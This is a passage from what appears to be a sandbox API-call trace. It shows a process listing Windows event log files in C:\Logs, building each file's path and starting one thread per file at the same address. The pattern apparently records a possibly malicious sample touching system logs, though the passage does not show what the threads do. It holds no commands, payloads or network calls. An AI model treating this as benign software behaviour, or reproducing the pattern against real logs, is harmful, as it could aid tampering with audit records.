_Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.308] wcscat (in: _Dest=0x3479da8, _Source="Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" [0062.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0062.309] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0062.309] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx", _String2=".") returned 1 [0062.309] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx", _String2="..") returned 1 [0062.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479b50 [0062.309] wcscpy (in: _Dest=0x3479b50, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.309] wcscat (in: _Dest=0x3479b50, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.309] wcscat (in: _Dest=0x3479b50, _Source="Microsoft-Windows-SMBClient%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" [0062.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0062.309] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0062.309] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx", _String2=".") returned 1 [0062.309] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx", _String2="..") returned 1 [0062.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33cc760 [0062.310] wcscpy (in: _Dest=0x33cc760, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.310] wcscat (in: _Dest=0x33cc760, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.310] wcscat (in: _Dest=0x33cc760, _Source="Microsoft-Windows-SmbClient%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" [0062.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cc760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0062.311] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0062.311] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx", _String2=".") returned 1 [0062.311] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx", _String2="..") returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x33e8598 [0062.311] wcscpy (in: _Dest=0x33e8598, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.312] wcscat (in: _Dest=0x33e8598, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.312] wcscat (in: _Dest=0x33e8598, _Source="Microsoft-Windows-SMBServer%4Audit.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" [0062.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0062.312] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0062.312] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx", _String2=".") returned 1 [0062.312] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx", _String2="..") returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479d30 [0062.312] wcscpy (in: _Dest=0x3479d30, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.312] wcscat (in: _Dest=0x3479d30, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.312] wcscat (in: _Dest=0x3479d30, _Source="Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" [0062.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0062.313] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0062.313] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx", _String2=".") returned 1 [0062.313] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx", _String2="..") returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479f88 [0062.313] wcscpy (in: _Dest=0x3479f88, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.313] wcscat (in: _Dest=0x3479f88, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.313] wcscat (in: _Dest=0x3479f88, _Source="Microsoft-Windows-SMBServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" [0062.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0062.314] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0062.314] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx", _String2=".") returned 1 [0062.314] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx", _String2="..") returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33cfb48 [0062.314] wcscpy (in: _Dest=0x33cfb48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.314] wcscat (in: _Dest=0x33cfb48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.314] wcscat (in: _Dest=0x33cfb48, _Source="Microsoft-Windows-SMBServer%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" [0062.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cfb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0062.315] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0062.315] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx", _String2=".") returned 1 [0062.315] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx", _String2="..") returned 1 [0062.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x33c3a58 [0062.315] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.315] wcscat (in: _Dest=0x33c3a58, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.315] wcscat (in: _Dest=0x33c3a58, _Source="Microsoft-Windows-Store%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" [0062.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0062.316] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0062.316] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", _String2=".") returned 1 [0062.316] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", _String2="..") returned 1 [0062.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cce70 [0062.316] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.316] wcscat (in: _Dest=0x33cce70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.316] wcscat (in: _Dest=0x33cce70, _Source="Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" [0062.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0062.316] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0062.316] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", _String2=".") returned 1 [0062.316] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", _String2="..") returned 1 [0062.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eab90 [0062.317] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.317] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.317] wcscat (in: _Dest=0x33eab90, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" [0062.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eab90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0062.317] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0062.317] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", _String2=".") returned 1 [0062.317] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", _String2="..") returned 1 [0062.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce458 [0062.317] wcscpy (in: _Dest=0x33ce458, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.317] wcscat (in: _Dest=0x33ce458, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.318] wcscat (in: _Dest=0x33ce458, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" [0062.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ce458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0062.318] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0062.318] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", _String2=".") returned 1 [0062.318] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", _String2="..") returned 1 [0062.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6b10 [0062.318] wcscpy (in: _Dest=0x33e6b10, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.318] wcscat (in: _Dest=0x33e6b10, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.318] wcscat (in: _Dest=0x33e6b10, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" [0062.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0062.322] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0062.322] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", _String2=".") returned 1 [0062.322] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", _String2="..") returned 1 [0062.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x33e3760 [0062.322] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.322] wcscat (in: _Dest=0x33e3760, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.322] wcscat (in: _Dest=0x33e3760, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" [0062.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0062.323] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0062.323] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx", _String2=".") returned 1 [0062.323] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx", _String2="..") returned 1 [0062.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33c45b8 [0062.323] wcscpy (in: _Dest=0x33c45b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.323] wcscat (in: _Dest=0x33c45b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.323] wcscat (in: _Dest=0x33c45b8, _Source="Microsoft-Windows-TWinUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" [0062.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c45b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0062.323] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0062.324] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx", _String2=".") returned 1 [0062.324] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx", _String2="..") returned 1 [0062.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2840 [0062.324] wcscpy (in: _Dest=0x33e2840, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.324] wcscat (in: _Dest=0x33e2840, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.324] wcscat (in: _Dest=0x33e2840, _Source="Microsoft-Windows-User Profile Service%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" [0062.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0062.324] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0062.324] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", _String2=".") returned 1 [0062.324] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", _String2="..") returned 1 [0062.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34799e8 [0062.325] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.325] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.325] wcscat (in: _Dest=0x34799e8, _Source="Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" [0062.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34799e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0062.325] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0062.325] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", _String2=".") returned 1 [0062.325] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", _String2="..") returned 1 [0062.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479bc8 [0062.325] wcscpy (in: _Dest=0x3479bc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.325] wcscat (in: _Dest=0x3479bc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.325] wcscat (in: _Dest=0x3479bc8, _Source="Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" [0062.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0062.326] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, 